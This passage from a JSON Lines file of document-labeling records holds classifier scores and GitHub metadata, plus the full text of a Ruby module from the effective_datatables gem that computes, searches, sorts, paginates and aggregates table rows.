"valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 15674, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 15674, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:13.527686+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "edaaf901-f982-4bc8-8682-cc4fabbc4ead", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "013896999d13e4fa23dd68b3781ec0a1d30578fcf10ba62c0f6947d381c527b4", "source_metadata": {"uuid": "edaaf901-f982-4bc8-8682-cc4fabbc4ead", "repo_name": "Netflix/Lipstick", "relative_path": "lipstick-server/app/controllers/job_controller.rb", "category": "TOOL", "algo_rel_score": 0.9812020063400269, "quality_score": 3.597090721130371, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 224, "repo_created_at": "2013-05-21T18:56:30.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 466, "forks": 132, "issues": 11, "pull_requests": 2}, "file_meta": {"content_id": "001a67b637584df568bbcd4fadbb01e87d4d93ef", "size_bytes": 23321, "file_timestamp": 1516747893, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "d610c5d224c68e29940e6cbbb765ddb0f9f01359"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 224, "repo_created_at": "2013-05-21T18:56:30.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 466, "forks": 132, "issues": 11, "pull_requests": 2}, "file_meta": {"content_id": "001a67b637584df568bbcd4fadbb01e87d4d93ef", "size_bytes": 23321, "file_timestamp": 1516747893, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "d610c5d224c68e29940e6cbbb765ddb0f9f01359", "url": "https://github.com/Netflix/Lipstick/blob/d610c5d224c68e29940e6cbbb765ddb0f9f01359/lipstick-server/app/controllers/job_controller.rb"}, "gpt4o_tokens": 6666, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9637170367449561, "noise_severity": 0.5865041970180349, "missing_content_severity": 0.20707588440037283, "factual_density": 3.3125811657690436, "pretraining_utility": 0.6268251123275848, "math_density": 0.12085202068653386, "code_density": 3.7651931448537197, "reasoning_density": 0.5890084975444019, "education_level": 2.7671012736890908, "creative_writing_quality": -0.2163426106184226}, "score_applicability": {"education_level": 0.9990408508837163, "creative_writing_quality": 0.0005341643648182552}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/code-and-effect/effective_datatables/blob/f98af232e0afdf44e7db2a04fbbb7fa66e394300/app/models/effective/effective_datatable/compute.rb", "id": "ruby-0-92edac939d0645f5cbe4158c9951d76d", "text": "# frozen_string_literal: true\n\nmodule Effective\n module EffectiveDatatable\n module Compute\n BLANK = ''.freeze\n\n private\n\n # So the idea here is that we want to do as much as possible on the database in ActiveRecord\n # And then run any array_columns through in post-processed results\n def compute\n col = collection\n\n # Assign total records\n @total_records = (active_record_collection? ? column_tool.size(col) : value_tool.size(col))\n\n # Apply jit_preloader if present\n if active_record_collection? && defined?(JitPreloader) && EffectiveDatatables.use_jit_preloader\n col.includes_values = [] # Removes any previously defined .includes()\n col = col.jit_preload\n end\n\n # Apply scope\n col = column_tool.scope(col) if @_collection_apply_scope\n\n # Apply column searching\n col = column_tool.search(col)\n\n unless value_tool.searched.present? || (column_tool.scoped.blank? && column_tool.searched.blank?)\n @display_records = column_tool.size(col)\n end\n\n # Apply column ordering\n col = column_tool.order(col)\n\n # Arrayize if we have value tool work to do\n col = arrayize(col) if value_tool.searched.present? || value_tool.ordered.present?\n\n # Apply value searching\n col = value_tool.search(col)\n @display_records = value_tool.size(col) if value_tool.searched.present?\n\n # Apply value ordering\n col = value_tool.order(col)\n\n # Charts too\n @charts_data = chart(collection, col) if _charts.present?\n\n # Apply pagination\n col = col.kind_of?(Array) ? value_tool.paginate(col) : column_tool.paginate(col)\n\n # Arrayize the searched, ordered, paginated results\n col = arrayize(col) unless col.kind_of?(Array)\n\n # Assign display records\n @display_records ||= @total_records\n\n # Compute aggregate data\n @aggregates_data = aggregate(col) if _aggregates.present?\n\n # Format all results\n format(col)\n\n # Finalize hook\n finalize(col)\n end\n\n def arrayize(collection, csv: false)\n collection.map do |obj|\n columns.map do |name, opts|\n if state[:visible][name] == false && !csv && (name != order_name) # Sort by invisible array column\n BLANK\n elsif csv && !opts[:csv]\n BLANK\n elsif opts[:compute]\n if array_collection?\n dsl_tool.instance_exec(obj, obj[opts[:index]], &opts[:compute])\n else\n dsl_tool.instance_exec(obj, collection, &opts[:compute])\n end\n elsif (opts[:partial] || opts[:format])\n array_collection? ? obj[opts[:index]] : obj\n elsif opts[:resource]\n resource = array_collection? ? obj[opts[:index]] : obj\n\n if opts[:resource_field]\n (associated, field) = name.to_s.split('.').first(2)\n values = Array(resource.send(associated)).map { |obj| obj.send(field) }.flatten.compact\n values.length == 1 ? values.first : values\n else\n resource.send(name)\n end\n\n elsif opts[:as] == :actions\n obj\n elsif opts[:as] == :effective_obfuscation\n obj.to_param\n elsif array_collection?\n obj[opts[:index]]\n elsif opts[:sql_as_column]\n obj[name] || (obj.send(name) if obj.respond_to?(name))\n else\n obj.send(name)\n end\n end\n end\n end\n\n def aggregate(collection, raw: false) # raw values\n cols = collection.transpose\n\n _aggregates.map do |_, aggregate|\n aggregate[:labeled] = false\n\n columns.map do |name, opts|\n next if state[:visible][name] == false && datatables_ajax_request?\n\n values = cols[opts[:index]] || []\n\n if state[:visible][name] == false\n BLANK\n elsif [:bulk_actions, :actions].include?(opts[:as])\n BLANK\n elsif values.length == 0\n BLANK\n elsif opts[:aggregate]\n dsl_tool.instance_exec(values, columns[name], &opts[:aggregate])\n elsif aggregate[:compute]\n dsl_tool.instance_exec(values, columns[name], &aggregate[:compute])\n elsif raw\n aggregate_column(values, opts, aggregate)\n else\n if values.all? { |v| v.kind_of?(ActiveRecord::Base) && v.respond_to?(name) }\n values = values.map { |v| (v[name] if opts[:sql_as_column]) || v.public_send(name) }\n format_column(aggregate_column(values, opts, aggregate), opts)\n elsif values.all? { |v| (v == true || v == false) }\n aggregate_column(values, opts, aggregate)\n else\n format_column(aggregate_column(values, opts, aggregate), opts)\n end\n end || BLANK\n end.compact\n end\n end\n\n def aggregate_column(values, column, aggregate)\n length = values.length\n values = values.reject { |value| value.nil? }\n\n return BLANK if [:id, :year].include?(column[:name])\n\n case aggregate[:name]\n when :total\n if [:percent].include?(column[:as])\n BLANK\n elsif values.all? { |value| value.kind_of?(Numeric) }\n values.sum\n elsif values.all? { |value| value == true || value == false }\n \"#{values.count { |val| val == true }} • #{values.count { |val| val == false}}\"\n elsif aggregate[:labeled] == false\n aggregate[:labeled] = aggregate[:label]\n end\n when :average\n if values.all? { |value| value.kind_of?(Numeric) }\n values.sum / ([length, 1].max)\n elsif values.all? { |value| value == true || value == false }\n values.count { |val| val == true } >= (length / 2) ? true : false\n elsif aggregate[:labeled] == false\n aggregate[:labeled] = aggregate[:label]\n end\n else\n raise 'not implemented'\n end || BLANK\n end\n\n def chart(collection, searched_collection)\n _charts.inject({}) do |retval, (name, chart)|\n retval[name] = {\n as: chart[:as],\n data: dsl_tool.instance_exec(collection, searched_collection, &chart[:compute]),\n name: chart[:name],\n options: chart[:options]\n }\n\n unless retval[name][:data].kind_of?(Array) && retval[name][:data].first.kind_of?(Array)\n raise \"invalid chart :#{name}. The block must return an Array of Arrays\"\n end\n\n retval\n end\n end\n\n end\n end\nend\n", "text_preview": "# frozen_string_literal: true module Effective module EffectiveDatatable module Compute BLANK = ''.freeze private # So the idea here is that we want to do as much as possible on the database in ActiveRecord # And then run any array_columns ", "input_sha256": "6a77749ee6dffc2904a3e1fbda87980b6935a74070ab1ec251bcfd34af9e3910", "text_sha256": "92edac939d0645f5cbe4158c9951d76dcb7f62e37096ddaad88c3003f9761ad1", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16111, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.0925575743236584, "noise_severity": 0.012135539940552189, "missing_content_severity": 0.010802262095522954, "factual_density": 3.4858338888150544, "pretraining_utility": 0.480893376007414, "math_density": 0.654273043352861, "code_density": 3.8903749334950275, "reasoning_density": 0.7359817992859972, "education_level": 2.6000598003777604, "creative_writing_quality": -0.2159419364261348}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.004263044116661452, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9988296678817344, "secondary": 0.9916079125853372, "tertiary": 0.9960563064462012, "structured_records": 0.0015964129867219797, "procedural_steps": 0.018105586482070352, "worked_solution": 0.0008569014952858329, "contextual_dialogue": 4.926742660392618e-06, "content_quality": 0.5702903360944285, "noise_severity": 0.9898870500495398, "missing_content_severity": 0.9909981149203976, "factual_density": 0.5715282406792117, "pretraining_utility": 0.4422489335253965, "math_density": 0.45477246387261583, "code_density": 0.908645777912523, "reasoning_density": 0.38668183392833577, "education_level": 0.3726063431572602, "creative_writing_quality": 0.9995696824555912, "primary_topic": 0.9965848142115571, "secondary_topic": 0.9692749365192705}, "probability_margin": {"primary": 0.9983524088426414, "secondary": 0.9874478358947156, "tertiary": 0.9942042516782944, "education_level": 0.027446394403508656, "creative_writing_quality": 0.9994720594466686, "primary_topic": 0.9950579924363986, "secondary_topic": 0.9581452909213041}, "raw_probabilities": {"primary": {"Academic Writing": 1.2295086418593935e-05, "Content Listing": 8.272139565505674e-06, "Creative Writing": 5.011864032583087e-06, "Customer Support Page": 4.916111821535997e-06, "Q&A Forum": 5.0112570492190615e-06, "Discussion Thread": 2.9192210125486905e-06, "Comment Section": 4.8431728169960685e-06, "Missing Content": 9.31704893631082e-06, "Knowledge Article": 3.692172087620823e-05, "Legal Notices": 1.2483579585918845e-05, "News Article": 1.5855704704348336e-06, "Organizational Announcement": 5.197712977662762e-06, "Nonfiction Writing": 4.0895851559081475e-06, "Organizational About Page": 4.421107361291408e-06, "Personal About Page": 3.257492994043638e-06, "Personal Blog": 3.1696896459874663e-06, "Product Page": 3.3521708909668745e-06, "Spam / Ads": 3.766686874575402e-06, "Structured Data": 0.0003607343147634363, "Technical Writing": 0.9988784317199955, "Transcript / Interview": 5.8618995730986e-06, "Tutorial / How-To Guide": 9.540129973508956e-05, "User Reviews": 2.716670092656998e-06, "Other / Unknown": 0.0005260228773540149}, "secondary": {"Academic Writing": 7.153733202406654e-05, "Content Listing": 5.6412331468460645e-05, "Creative Writing": 4.9360781258059414e-05, "Customer Support Page": 3.797525908083123e-05, "Q&A Forum": 2.3128865976575424e-05, "Discussion Thread": 1.6639448217292567e-05, "Comment Section": 6.050589983698086e-05, "Missing Content": 0.0001501879731646994, "Knowledge Article": 0.0008079310478760224, "Legal Notices": 8.310862493283431e-05, "News Article": 2.796906693000841e-05, "Organizational Announcement": 3.48592249084404e-05, "Nonfiction Writing": 6.56118282420815e-05, "Organizational About Page": 3.634460682960973e-05, "Personal About Page": 2.5303249499108343e-05, "Personal Blog": 2.8601167850260315e-05, "Product Page": 1.8754420783950395e-05, "Spam / Ads": 3.442919101403086e-05, "Structured Data": 0.0012852397808267933, "Technical Writing": 0.0045097469995658114, "Transcript / Interview": 3.4535244427889096e-05, "Tutorial / How-To Guide": 0.0005686695459088746, "User Reviews": 1.556521509587513e-05, "NONE": 0.9919575828942815}, "tertiary": {"Academic Writing": 3.407414957797129e-05, "Content Listing": 2.5017455813701024e-05, "Creative Writing": 2.686862361262081e-05, "Customer Support Page": 2.080786600204357e-05, "Q&A Forum": 1.1580283376053811e-05, "Discussion Thread": 9.538221444892589e-06, "Comment Section": 3.1091035446801836e-05, "Missing Content": 0.00010256055716506603, "Knowledge Article": 0.000332829669106717, "Legal Notices": 7.819547339080753e-05, "News Article": 1.6761881861512417e-05, "Organizational Announcement": 1.9543359967985553e-05, "Nonfiction Writing": 3.851585432229998e-05, "Organizational About Page": 2.602450942884006e-05, "Personal About Page": 1.3956410829903747e-05, "Personal Blog": 1.846445656775263e-05, "Product Page": 1.274026812389044e-05, "Spam / Ads": 1.9946976822434628e-05, "Structured Data": 0.0005994540341760118, "Technical Writing": 0.0020163753326483836, "Transcript / Interview": 1.592879112318185e-05, "Tutorial / How-To Guide": 0.00029965084931495034, "User Reviews": 9.446928933282014e-06, "NONE": 0.9962206270109428}, "structured_records": {"false": 0.998403587013278, "true": 0.0015964129867219797}, "procedural_steps": {"false": 0.9818944135179296, "true": 0.018105586482070352}, "worked_solution": {"false": 0.9991430985047142, "true": 0.0008569014952858329}, "contextual_dialogue": {"false": 0.9999950732573396, "true": 4.926742660392618e-06}, "content_quality": {"-2": 0.004010151271437504, "-1": 0.011052243067388829, "0": 0.17741207123242345, "1": 0.503420948923578, "2": 0.30410458550517216}, "noise_severity": {"0": 0.988962790176156, "1": 0.01034629651520166, "2": 0.0004108678148179655, "3": 0.00015267417958266164, "4": 0.0001273713142416528}, "missing_content_severity": {"0": 0.9933497068745704, "1": 0.003639353305646957, "2": 0.0020787097917634154, "3": 0.0007234309057283566, "4": 0.00020879912229102466}, "factual_density": {"0": 0.003536077466497196, "1": 0.007699385169546829, "2": 0.07145617857951225, "3": 0.33401128865129215, "4": 0.5832970701331516}, "pretraining_utility": {"-2": 0.008353996570469016, "-1": 0.08386873417596072, "0": 0.40140449381772664, "1": 0.4312754475473746, "2": 0.07509732788846905}, "math_density": {"0": 0.5246104506415338, "1": 0.36946807231622475, "2": 0.06327400253377809, "3": 0.012332932064773733, "4": 0.0303145424436897}, "code_density": {"0": 0.00019865211857220724, "1": 0.00035357567095087306, "2": 0.009834654799600172, "3": 0.08810042141863059, "4": 0.9015126959922461}, "reasoning_density": {"0": 0.6497946320951793, "1": 0.14298617912499684, "2": 0.09085591363220621, "3": 0.05416930769388228, "4": 0.06219396745373523}, "education_level": {"none": 0.0011389259412371083, "0": 0.0013615068112143374, "1": 0.00542555836057287, "2": 0.44972555822754157, "3": 0.4771719526310502, "4": 0.0651764980283838}, "creative_writing_quality": {"not_applicable": 0.999641402046326, "-2": 4.529660791854775e-05, "-1": 7.488009735169413e-05, "0": 0.00016934259965739035, "1": 5.012032081844773e-05, "2": 1.8958327927779648e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.1611473177359068e-05, "Art & Design": 3.381364034080601e-05, "Law & Crime": 1.7420890716081048e-05, "Education & Careers": 2.0479731246040704e-05, "Entertainment & Media": 1.4292760028822927e-05, "Fashion & Beauty": 1.0446555045382395e-05, "Business, Economics & Finance": 4.880707840926903e-05, "Food & Dining": 1.2628843408574082e-05, "Games & Gaming": 2.837770318330563e-05, "Electronics & Hardware": 4.88811660877411e-05, "Health, Healthcare & Wellness": 1.3293685234895748e-05, "History & Geography": 1.7218637278971717e-05, "Home, Pets & Hobbies": 1.2045752468499196e-05, "Industry & Production": 1.7512565441910434e-05, "Language, Literature & Philosophy": 2.2064081614770905e-05, "Politics & Government": 9.666963258030628e-06, "Religion & Spirituality": 1.3208189376379888e-05, "Science, Mathematics & Engineering": 0.0016581750747140392, "Relationships & Community": 7.888339159313516e-06, "Software Usage & Applications": 0.0009660102666163942, "Programming & Software Engineering": 0.9967161675111126, "Sports & Fitness": 2.259582650716922e-05, "Vehicles & Transportation": 9.809583335109462e-06, "Travel & Tourism": 2.6188180287010287e-05, "Other / Uncovered Subject": 0.00017851031759648765, "Unknown / Insufficient Content": 5.2885184355264615e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00020515197006213518, "Art & Design": 0.00020024144822445116, "Law & Crime": 0.0001916383569389995, "Education & Careers": 0.00011161899902442192, "Entertainment & Media": 0.00012941481343669057, "Fashion & Beauty": 7.069566650399033e-05, "Business, Economics & Finance": 0.0002840295886914359, "Food & Dining": 5.770094677707788e-05, "Games & Gaming": 0.00010814249918226084, "Electronics & Hardware": 0.00014361141711336287, "Health, Healthcare & Wellness": 7.957651782118477e-05, "History & Geography": 7.751397124713678e-05, "Home, Pets & Hobbies": 5.299291096639525e-05, "Industry & Production": 5.5057997955032906e-05, "Language, Literature & Philosophy": 6.747107976000714e-05, "Politics & Government": 7.13876657874063e-05, "Religion & Spirituality": 8.506252751204128e-05, "Science, Mathematics & Engineering": 0.009557327629665604, "Relationships & Community": 4.9854638883220694e-05, "Software Usage & Applications": 0.0051993518113753814, "Programming & Software Engineering": 0.012311378808763724, "Sports & Fitness": 6.129328252237938e-05, "Vehicles & Transportation": 3.176383996011915e-05, "Travel & Tourism": 0.00011335782228737108, "Other / Uncovered Subject": 0.00022769405947039204, "NONE": 0.9704566697300678}}, "probabilities": {"primary": {"Academic Writing": 1.2295086418593935e-05, "Content Listing": 8.272139565505674e-06, "Creative Writing": 5.011864032583087e-06, "Customer Support Page": 4.916111821535997e-06, "Q&A Forum": 5.0112570492190615e-06, "Discussion Thread": 2.9192210125486905e-06, "Comment Section": 4.8431728169960685e-06, "Missing Content": 9.31704893631082e-06, "Knowledge Article": 3.692172087620823e-05, "Legal Notices": 1.2483579585918845e-05, "News Article": 1.5855704704348336e-06, "Organizational Announcement": 5.197712977662762e-06, "Nonfiction Writing": 4.0895851559081475e-06, "Organizational About Page": 4.421107361291408e-06, "Personal About Page": 3.257492994043638e-06, "Personal Blog": 3.1696896459874663e-06, "Product Page": 3.3521708909668745e-06, "Spam / Ads": 3.766686874575402e-06, "Structured Data": 0.0003607343147634363, "Technical Writing": 0.9988784317199955, "Transcript / Interview": 5.8618995730986e-06, "Tutorial / How-To Guide": 9.540129973508956e-05, "User Reviews": 2.716670092656998e-06, "Other / Unknown": 0.0005260228773540149}, "secondary": {"Academic Writing": 7.153733202406654e-05, "Content Listing": 5.6412331468460645e-05, "Creative Writing": 4.9360781258059414e-05, "Customer Support Page": 3.797525908083123e-05, "Q&A Forum": 2.3128865976575424e-05, "Discussion Thread": 1.6639448217292567e-05, "Comment Section": 6.050589983698086e-05, "Missing Content": 0.0001501879731646994, "Knowledge Article": 0.0008079310478760224, "Legal Notices": 8.310862493283431e-05, "News Article": 2.796906693000841e-05, "Organizational Announcement": 3.48592249084404e-05, "Nonfiction Writing": 6.56118282420815e-05, "Organizational About Page": 3.634460682960973e-05, "Personal About Page": 2.5303249499108343e-05, "Personal Blog": 2.8601167850260315e-05, "Product Page": 1.8754420783950395e-05, "Spam / Ads": 3.442919101403086e-05, "Structured Data": 0.0012852397808267933, "Technical Writing": 0.0045097469995658114, "Transcript / Interview": 3.4535244427889096e-05, "Tutorial / How-To Guide": 0.0005686695459088746, "User Reviews": 1.556521509587513e-05, "NONE": 0.9919575828942815}, "tertiary": {"Academic Writing": 3.40741495779713e-05, "Content Listing": 2.5017455813701028e-05, "Creative Writing": 2.6868623612620813e-05, "Customer Support Page": 2.0807866002043573e-05, "Q&A Forum": 1.1580283376053813e-05, "Discussion Thread": 9.53822144489259e-06, "Comment Section": 3.109103544680184e-05, "Missing Content": 0.00010256055716506604, "Knowledge Article": 0.00033282966910671706, "Legal Notices": 7.819547339080754e-05, "News Article": 1.676188186151242e-05, "Organizational Announcement": 1.9543359967985557e-05, "Nonfiction Writing": 3.851585432229999e-05, "Organizational About Page": 2.6024509428840065e-05, "Personal About Page": 1.3956410829903749e-05, "Personal Blog": 1.8464456567752634e-05, "Product Page": 1.2740268123890442e-05, "Spam / Ads": 1.994697682243463e-05, "Structured Data": 0.0005994540341760119, "Technical Writing": 0.002016375332648384, "Transcript / Interview": 1.5928791123181855e-05, "Tutorial / How-To Guide": 0.0002996508493149504, "User Reviews": 9.446928933282015e-06, "NONE": 0.9962206270109429}, "structured_records": {"false": 0.998403587013278, "true": 0.0015964129867219797}, "procedural_steps": {"false": 0.9818944135179296, "true": 0.018105586482070352}, "worked_solution": {"false": 0.9991430985047142, "true": 0.0008569014952858329}, "contextual_dialogue": {"false": 0.9999950732573396, "true": 4.926742660392618e-06}, "content_quality": {"-2": 0.004010151271437504, "-1": 0.011052243067388829, "0": 0.17741207123242345, "1": 0.503420948923578, "2": 0.30410458550517216}, "noise_severity": {"0": 0.9889627901761561, "1": 0.010346296515201662, "2": 0.0004108678148179656, "3": 0.00015267417958266167, "4": 0.00012737131424165284}, "missing_content_severity": {"0": 0.9933497068745701, "1": 0.003639353305646956, "2": 0.002078709791763415, "3": 0.0007234309057283565, "4": 0.0002087991222910246}, "factual_density": {"0": 0.003536077466497196, "1": 0.007699385169546829, "2": 0.07145617857951225, "3": 0.33401128865129215, "4": 0.5832970701331516}, "pretraining_utility": {"-2": 0.008353996570469016, "-1": 0.08386873417596072, "0": 0.40140449381772664, "1": 0.4312754475473746, "2": 0.07509732788846905}, "math_density": {"0": 0.5246104506415338, "1": 0.36946807231622475, "2": 0.06327400253377809, "3": 0.012332932064773733, "4": 0.0303145424436897}, "code_density": {"0": 0.00019865211857220724, "1": 0.00035357567095087306, "2": 0.009834654799600172, "3": 0.08810042141863059, "4": 0.9015126959922461}, "reasoning_density": {"0": 0.6497946320951794, "1": 0.14298617912499686, "2": 0.09085591363220623, "3": 0.054169307693882285, "4": 0.06219396745373524}, "education_level": {"none": 0.0011389259412371085, "0": 0.0013615068112143376, "1": 0.005425558360572871, "2": 0.4497255582275416, "3": 0.4771719526310503, "4": 0.06517649802838381}, "creative_writing_quality": {"not_applicable": 0.9996414020463261, "-2": 4.529660791854776e-05, "-1": 7.488009735169414e-05, "0": 0.00016934259965739037, "1": 5.012032081844774e-05, "2": 1.895832792777965e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.1611473177359064e-05, "Art & Design": 3.3813640340806004e-05, "Law & Crime": 1.7420890716081044e-05, "Education & Careers": 2.04797312460407e-05, "Entertainment & Media": 1.4292760028822924e-05, "Fashion & Beauty": 1.0446555045382393e-05, "Business, Economics & Finance": 4.8807078409269016e-05, "Food & Dining": 1.2628843408574078e-05, "Games & Gaming": 2.8377703183305623e-05, "Electronics & Hardware": 4.888116608774109e-05, "Health, Healthcare & Wellness": 1.3293685234895745e-05, "History & Geography": 1.7218637278971713e-05, "Home, Pets & Hobbies": 1.2045752468499193e-05, "Industry & Production": 1.751256544191043e-05, "Language, Literature & Philosophy": 2.20640816147709e-05, "Politics & Government": 9.666963258030626e-06, "Religion & Spirituality": 1.3208189376379885e-05, "Science, Mathematics & Engineering": 0.0016581750747140388, "Relationships & Community": 7.888339159313515e-06, "Software Usage & Applications": 0.000966010266616394, "Programming & Software Engineering": 0.9967161675111124, "Sports & Fitness": 2.2595826507169216e-05, "Vehicles & Transportation": 9.80958333510946e-06, "Travel & Tourism": 2.618818028701028e-05, "Other / Uncovered Subject": 0.00017851031759648763, "Unknown / Insufficient Content": 5.28851843552646e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00020515197006213518, "Art & Design": 0.00020024144822445116, "Law & Crime": 0.0001916383569389995, "Education & Careers": 0.00011161899902442192, "Entertainment & Media": 0.00012941481343669057, "Fashion & Beauty": 7.069566650399033e-05, "Business, Economics & Finance": 0.0002840295886914359, "Food & Dining": 5.770094677707788e-05, "Games & Gaming": 0.00010814249918226084, "Electronics & Hardware": 0.00014361141711336287, "Health, Healthcare & Wellness": 7.957651782118477e-05, "History & Geography": 7.751397124713678e-05, "Home, Pets & Hobbies": 5.299291096639525e-05, "Industry & Production": 5.5057997955032906e-05, "Language, Literature & Philosophy": 6.747107976000714e-05, "Politics & Government": 7.13876657874063e-05, "Religion & Spirituality": 8.506252751204128e-05, "Science, Mathematics & Engineering": 0.009557327629665604, "Relationships & Community": 4.9854638883220694e-05, "Software Usage & Applications": 0.0051993518113753814, "Programming & Software Engineering": 0.012311378808763724, "Sports & Fitness": 6.129328252237938e-05, "Vehicles & Transportation": 3.176383996011915e-05, "Travel & Tourism": 0.00011335782228737108, "Other / Uncovered Subject": 0.00022769405947039204, "NONE": 0.9704566697300678}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, 